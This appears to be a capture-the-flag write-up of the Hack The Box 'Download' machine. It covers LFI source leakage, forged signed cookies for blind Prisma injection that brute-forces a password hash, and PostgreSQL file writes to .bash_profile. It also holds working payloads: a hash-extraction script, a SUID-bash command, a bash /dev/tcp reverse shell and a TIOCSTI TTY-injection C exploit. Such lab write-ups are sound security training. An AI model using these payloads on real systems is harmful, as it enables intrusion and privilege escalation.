Download

Quite a bit harder than Medium in my opinion.

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 4000 10.129.96.11  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-07 08:56 +08
Nmap scan report for 10.129.96.11
Host is up (0.16s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
31114/tcp filtered unknown
31122/tcp filtered unknown
60945/tcp filtered unknown
63906/tcp filtered unknown

A few filtered ports and just a web service. We have to add download.htb to our /etc/hosts file to view the website.

Web Enum -> LFI Source Code

The website provides a file scanner service, indicating that there could be a file upload vulnerability:

Visiting the link below brings us to a file upload page:

Proxying traffic through Burp indicates that this is an Express based website. I attempted to upload a file, and got a unique UID and link:

If we click the Copy Link button, a small textbox appears in the top left with the URL followed by an alert:

I found this rather fishy because it literally creates an element in the top left. There is a file called copy.js which contains the code for the function, but it does not have any glaring vulnerabilities.

I noted that there was a JWT like token present within the download, as well as a .sig cookie:

Here's the decoded token:

{"flashes":{"info":[],"error":[],"success":[]}}

The next thing to enumerate would be the login. I created a test user and enumerated the website some more:

When we create a user, the download_session cookie has a bit of extra information:

{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":16,"username":"test123"}}

The .sig cookie is different too, and based on the extension of it I think it is the signature of the cookie or something. Since this was running Express, I googled for cookie related exploits pertaining to that, and found this repository:

The similarities between the exploit found in this repository and the website were suspicious, but more enumeration could be done before going this route.

Attempts to spoof tokens doesn't work, as they are likely being signed. The last thing I enumerated was the Download feature. It redirects us to this link:

http://download.htb/files/download/0623ba64-6749-48a4-9a08-a58658b74852

Perhaps this could be used to download other files and stuff. The uploads to this website are probably being stored within a downloads or uploads folder on the machine, so I attempted some basic LFI with some Express file names, and found that ..%2fapp.js worked:

Here's the source code:

"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
    autoescape: true,
    express: app,
    noCache: true,
});
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["8929874489719802418902487651347865819634518936754"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
    res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
    res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
    console.log("Listening on ", port);
    if (process.env.NODE_ENV === "production") {
        setTimeout(async () => {
            await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
        }, 300000);
    }
});

The thing that jumps out the most is the SQL query, which dumps the output to a .csv file. Additionally, the key for the token signing is present. There are a lot of other folders being imported, such as ..%2frouters%2fhome.js. Visiting files.js shows us why the LFI exists:

router.get("/download/:fileId", async (req, res) => {
    const fileEntry = await client.file.findFirst({
        where: { id: req.params.fileId },
        select: {
            name: true,
            private: true,
            authorId: true,
        },
    });
    if (fileEntry?.private && req.session?.user?.id !== fileEntry.authorId) {
        return res.status(404);
    }
    return res.download(path_1.default.join(uploadPath, req.params.fileId), fileEntry?.name ?? "Unknown");
}

The id parameter is not being sanitised at all. I managed to find package.json as part of the folders too:

{
  "name": "download.htb",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "dev": "nodemon --exec ts-node --files ./src/app.ts",
    "build": "tsc"
  },
  "keywords": [],
  "author": "wesley",
  "license": "ISC",
  "dependencies": {
    "@prisma/client": "^4.13.0",
    "cookie-parser": "^1.4.6",
    "cookie-session": "^2.0.0",
    "express": "^4.18.2",
    "express-fileupload": "^1.4.0",
    "zod": "^3.21.4"
  },
  "devDependencies": {
    "@types/cookie-parser": "^1.4.3",
    "@types/cookie-session": "^2.0.44",
    "@types/express": "^4.17.17",
    "@types/express-fileupload": "^1.4.1",
    "@types/node": "^18.15.12",
    "@types/nunjucks": "^3.2.2",
    "nodemon": "^2.0.22",
    "nunjucks": "^3.2.4",
    "prisma": "^4.13.0",
    "ts-node": "^10.9.1",
    "typescript": "^5.0.4"
  }
}

From this, I learned that the user is named wesley. I also took a look at routers/auth.js to see how the cookie is being used:

"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const client_1 = require("@prisma/client");
const express_1 = __importDefault(require("express"));
const zod_1 = __importDefault(require("zod"));
const node_crypto_1 = __importDefault(require("node:crypto"));
const router = express_1.default.Router();
const client = new client_1.PrismaClient();
const hashPassword = (password) => {
    return node_crypto_1.default.createHash("md5").update(password).digest("hex");
};
const LoginValidator = zod_1.default.object({
    username: zod_1.default.string().min(6).max(64),
    password: zod_1.default.string().min(6).max(64),
});
router.get("/login", (req, res) => {
    res.render("login.njk");
});
router.post("/login", async (req, res) => {
    const result = LoginValidator.safeParse(req.body);
    if (!result.success) {
        res.flash("error", "Your login details were invalid, please try again.");
        return res.redirect("/auth/login");
    }
    const data = result.data;
    const user = await client.user.findFirst({
        where: { username: data.username, password: hashPassword(data.password) },
    });
    if (!user) {
        res.flash("error", "That username / password combination did not exist.");
        return res.redirect("/auth/register");
    }
    req.session.user = {
        id: user.id,
        username: user.username,
    };
    res.flash("success", "You are now logged in.");
    return res.redirect("/home/");
});
router.get("/register", (req, res) => {
    res.render("register.njk");
});
const RegisterValidator = zod_1.default.object({
    username: zod_1.default.string().min(6).max(64),
    password: zod_1.default.string().min(6).max(64),
});
router.post("/register", async (req, res) => {
    const result = RegisterValidator.safeParse(req.body);
    if (!result.success) {
        res.flash("error", "Your registration details were invalid, please try again.");
        return res.redirect("/auth/register");
    }
    const data = result.data;
    const existingUser = await client.user.findFirst({
        where: { username: data.username },
    });
    if (existingUser) {
        res.flash("error", "There is already a user with that email address or username.");
        return res.redirect("/auth/register");
    }
    await client.user.create({
        data: {
            username: data.username,
            password: hashPassword(data.password),
        },
    });
    res.flash("success", "Your account has been registered.");
    return res.redirect("/auth/login");
});
router.get("/logout", (req, res) => {
    if (req.session)
        req.session.user = null;
    res.flash("success", "You have been successfully logged out.");
    return res.redirect("/auth/login");
});
exports.default = router;

A user's password is hashed and unsalted, then used for authentication purposes. Since this was Express, and the token is not being validated in anyway, I thought of trying some injection.

auth.js uses this bit of code to check a username and password:

router.post("/login", async (req, res) => {
    const result = LoginValidator.safeParse(req.body);
    if (!result.success) {
        res.flash("error", "Your login details were invalid, please try again.");
        return res.redirect("/auth/login");
    }
    const data = result.data;
    const user = await client.user.findFirst({
        where: { username: data.username, password: hashPassword(data.password) },
    });
    if (!user) {
        res.flash("error", "That username / password combination did not exist.");
        return res.redirect("/auth/register");
    }
    req.session.user = {
        id: user.id,
        username: user.username,
    };
    res.flash("success", "You are now logged in.");
    return res.redirect("/home/");
});

This checks for the username and hashed password parameter within a cookie. Interestingly, it checks whether the userparameter is true, and then redirects the respective page instead of checking the parameters.

findFirst just checks whether the query matches our criteria:

Here are the facts so far and my deductions:

  • .sig , the key I found and how the token is structured -> Definitely need to use Cookie Monster somehow.

  • User is wesley, and hashes are unsalted and used directly for authentication -> Brute force is theoretically possible if done smartly.

  • There's a SQL query that is 100% injectable, but I don't know how to exploit it at this point.

  • The cookie is not validated in any way, it takes my input directly. It checks whether a true condition is returned from findFirst from the prisma API module -> Blind Injection based on where it redirects us?

Based on the facts above, there should be a method of which we can brute force the hash using a smartly created user cookie that is signed through Cookie Monster.

Since this uses prisma client API, we can try to inject some commands from that module based on their nested JSON queries possible.

I tried to use contains first in this cookie:

{"user":{"username":{"contains": "WESLEY"}, "password":{"startsWith":"a"}}}

Then, I signed the cookie required:

$ ./cookie-monster.js -e -f ../cookie.json -k 8929874489719802418902487651347865819634518936754 -n download_session
               _  _
             _/0\/ \_
    .-.   .-` \_/\0/ '-.
   /:::\ / ,_________,  \
  /\:::/ \  '. (:::/  `'-;
  \ `-'`\ '._ `"'"'\__    \
   `'-.  \   `)-=-=(  `,   |
       \  `-"`      `"-`   /

[+] Data Cookie: download_session=eyJ1c2VyIjp7InVzZXJuYW1lIjp7ImNvbnRhaW5zIjoiV0VTTEVZIn19fQ==                                                                                            
[+] Signature Cookie: download_session.sig=v0PDQv1xMVxi-N8hRUHd2B___z4

Using these parameters on the website returned the /home directory with response that looks like it works:

I tried each character until I reached f, and it returned something different:

The length of the first response was 2174, while the second was different. Based on this, we should have exploited blind injection successfully and automation is possible. Further testing with 2 characters works as well.

Here's my script:

import string
import requests
import json
import requests
import subprocess

password = ''
chars = "abcdef0123456789" # Hashes only have these characters
test = '' 

def generate(c):
	query = {"user":{"username":{"contains": "WESLEY"}, "password":{"startsWith":c}}}
	with open("cookie.json","w") as f:
		f.write(json.dumps(query))
	output = subprocess.check_output(["./cookie-monster.js", "-e", "-f", "cookie.json", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode().replace("\n"," ")

	jwt = output.split("download_session=")[1]
	jwt = jwt.split(" ")[0]
	jwt = jwt.split("\x1b")[0]
	sig = output.split("download_session.sig=")[1]
	sig = sig.split("\x1b")[0]
	return jwt,sig

for i in range(32):
	for c in chars:
		test = password + c
		jwt, sig = generate(test)
		cookie = {"download_session": jwt, "download_session.sig": sig}
		r = requests.get('http://download.htb/home/', cookies=cookie)
		if len(r.text) != 2174:
			print(f"Found char: {c}")
			password += c
			print(password)
			break

print(password)

This would slowly print out a hash value:

When we get the full hash, we can take it to CrackStation to crack it and then use that same password to ssh in as wesley!

Privilege Escalation

LinPEAS + Pspy64 -> Postgres Creds

linpeas.sh picked up on a few things:

[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports                 
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -


[+] Users with console
postgres:x:113:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash               
root:x:0:0:root:/root:/bin/bash
wesley:x:1000:1000:wesley:/home/wesley:/bin/bash

[+] Searching root files in home dirs (limit 30)
/home/                                                                                     
/home/wesley/.bash_history
/home/wesley/user.txt
/home/wesley/.psql_history
/root/

[+] Files inside others home (limit 20)
/var/lib/postgresql/.bash_history                                                          
/var/lib/postgresql/.psql_history

It's quite clear that we have to somehow escalate privileges to the postgres user since it has a console and PostgreSQL is open on the machine. I ran a pspy64 scan to see commands executed by the postgres and root users too:

2023/08/07 03:13:16 CMD: UID=113  PID=57201  | /usr/bin/perl /usr/bin/psql 
2023/08/07 03:13:16 CMD: UID=113  PID=57202  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql                                                                                 
2023/08/07 03:13:16 CMD: UID=113  PID=57209  | postgres: 12/main: postgres postgres [local] idle 
2023/08/07 03:13:12 CMD: UID=113  PID=57195  | -bash 
2023/08/07 03:13:12 CMD: UID=0    PID=57194  | su -l postgres 
2023/08/07 03:13:12 CMD: UID=0    PID=57185  | /bin/bash -i ./manage-db 
2023/08/07 03:13:12 CMD: UID=0    PID=57173  | -bash 
2023/08/07 03:13:12 CMD: UID=0    PID=57106  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57105  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57102  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57101  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57100  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57099  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57098  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57097  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57096  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57095  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57094  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57093  | /lib/systemd/systemd-udevd 
2023/08/07 03:13:12 CMD: UID=0    PID=57091  | /lib/systemd/systemd-udevd

There were also a lot of services being run by root.

ls /etc/systemd/system
cloud-init.target.wants                     multi-user.target.wants                        
dbus-org.freedesktop.ModemManager1.service  network-online.target.wants                    
dbus-org.freedesktop.resolve1.service       open-vm-tools.service.requires                 
dbus-org.freedesktop.thermald.service       paths.target.wants
dbus-org.freedesktop.timesync1.service      rescue.target.wants
default.target.wants                        sleep.target.wants
download-site.service                       sockets.target.wants
emergency.target.wants                      sshd-keygen@.service.d
getty.target.wants                          sshd.service
graphical.target.wants                      sysinit.target.wants
iscsi.service                               syslog.service
management.service                          timers.target.wants
mdmonitor.service.wants                     vmtoolsd.service
multipath-tools.service

I checked for passwords, and found one within download-site.service.

wesley@download:/tmp$ cat /etc/systemd/system/download-site.service
[Unit]
Description=Download.HTB Web Application
After=network.target

[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:<redacted>@localhost:5432/download"

[Install]
WantedBy=multi-user.target

With this, we can login to the PostgreSQL server via psql.

PostGreSQL Privileges -> Postgres Shell

We can first enumerate the privileges we have with \du:

 Role name |                         Attributes                         |        Member of        
-----------+------------------------------------------------------------+-------------------------
 download  |                                                            | {pg_write_server_files}
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

Interestingly, we are given the pg_write_server_files privilege. The database itself does not have any interesting information, so we are supposed to use this privilege to escalate to postgres.

Since we have an arbitrary write as this user, I thought of creating a /bin/bash SUID binary to escalate to it. Being able to write files as the postgres user is no good if we cannot execute it as postgres.

I noticed that root runs su -l postgres, meaning that that user is being logged into periodically. This means that files like .bashrc and .profile are being executed when this command is executed. Using our file write abilities, we can write in some commands to the .bash_profile file, which would be executed when root logs in as postgres.

I used this to spawn an SUID shell:

COPY (SELECT CAST ('cp /bin/bash /tmp/sql_shell;chmod 4777 /tmp/sql_shell;'AS text)) TO '/var/lib/postgresql/.bash_profile';

After waiting for a bit, we can move laterally:

However, we are still technically wesleyinstead of postgres even if the EUID changes. We can replace the command executed with a reverse shell instead:

COPY (SELECT CAST('bash -i >& /dev/tcp/10.10.14.7/4444 0>&1' AS text)) TO '/var/lib/postgresql/.bash_profile';

Then on a listener port, we would get a postgres shell:

However, the shell dies quickly, presumably because the connection cuts out when root runs su -l again. At least I know that this works.

TTY Hijack -> Root

I found it rather odd that su -l was used instead of a regular su. Using w, we know that root is logged in and has a TTY shell of its own.

wesley@download:/tmp$ w                                                                      
 04:47:53 up  8:33,  3 users,  load average: 0.33, 0.37, 0.35                                
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT                          
wesley   pts/0    10.10.14.7       03:02    0.00s  0.34s  0.01s w
root     pts/1    127.0.0.1        04:47   13.00s  0.08s  0.04s /usr/lib/postgresql/12/bin/p

I was thinking whether there were ways to hijack this session. Searching for root su hijack shows me this article:

The website above included a PoC in C. I changed the command executed first to test it:

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
    int fd = open("/dev/tty", O_RDWR);
    if (fd < 0) {
        perror("open");
        return -1;
    }
    char *x = "exit\n/bin/bash -c 'cp /root/root.txt /tmp/root.txt'\n";
    while (*x != 0) {
        int ret = ioctl(fd, TIOCSTI, x);
        if (ret == -1) {
            perror("ioctl()");
        }
        x++;
    }
    return 0;
}

Then, I compiled it using gcc and transferred to the machine and then ran chmod on it. Afterwards, I ran the same SQL command to execute this compiled exploit as root:

COPY (SELECT CAST('/tmp/exploit' AS text)) TO '/var/lib/postgresql/.bash_profile';

After waiting for a bit, the root flag appeared within the /tmp directory, confirming that it works:

Using this, we can create another one to get a reverse shell as root or run chmod u+s /bin/bash.

Rooted!

Last updated